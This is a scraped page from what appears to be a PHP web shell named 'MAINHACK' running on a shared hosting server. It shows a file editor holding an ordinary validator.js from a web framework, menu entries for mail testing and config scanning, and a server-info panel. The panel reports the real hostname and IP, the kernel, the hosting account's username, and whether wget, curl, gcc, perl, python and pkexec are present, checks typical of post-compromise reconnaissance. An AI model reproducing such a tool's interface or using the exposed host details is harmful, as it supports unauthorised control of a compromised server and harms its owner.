[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: validator.js
// src/validator/validator.ts import { getCookie } from "../helper/cookie/index.js"; import { HTTPException } from "../http-exception.js"; import { bufferToFormData } from "../utils/buffer.js"; var jsonRegex = /^application\/([a-z-\.]+\+)?json(;\s*[a-zA-Z0-9\-]+\=([^;]+))*$/; var multipartRegex = /^multipart\/form-data(;\s?boundary=[a-zA-Z0-9'"()+_,\-./:=?]+)?$/; var urlencodedRegex = /^application\/x-www-form-urlencoded(;\s*[a-zA-Z0-9\-]+\=([^;]+))*$/; var validator = (target, validationFunc) => { return async (c, next) => { let value = {}; const contentType = c.req.header("Content-Type"); switch (target) { case "json": if (!contentType || !jsonRegex.test(contentType)) { break; } try { value = await c.req.json(); } catch { const message = "Malformed JSON in request body"; throw new HTTPException(400, { message }); } break; case "form": { if (!contentType || !(multipartRegex.test(contentType) || urlencodedRegex.test(contentType))) { break; } let formData; if (c.req.bodyCache.formData) { formData = await c.req.bodyCache.formData; } else { try { const arrayBuffer = await c.req.arrayBuffer(); formData = await bufferToFormData(arrayBuffer, contentType); c.req.bodyCache.formData = formData; } catch (e) { let message = "Malformed FormData request."; message += e instanceof Error ? ` ${e.message}` : ` ${String(e)}`; throw new HTTPException(400, { message }); } } const form = /* @__PURE__ */ Object.create(null); formData.forEach((value2, key) => { if (key.endsWith("[]")) { ; (form[key] ??= []).push(value2); } else if (Array.isArray(form[key])) { ; form[key].push(value2); } else if (Object.hasOwn(form, key)) { form[key] = [form[key], value2]; } else { form[key] = value2; } }); value = form; break; } case "query": value = Object.fromEntries( Object.entries(c.req.queries()).map(([k, v]) => { return v.length === 1 ? [k, v[0]] : [k, v]; }) ); break; case "param": value = c.req.param(); break; case "header": value = c.req.header(); break; case "cookie": value = getCookie(c); break; } const res = await validationFunc(value, c); if (res instanceof Response) { return res; } c.req.addValidatedData(target, res); return await next(); }; }; export { validator };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344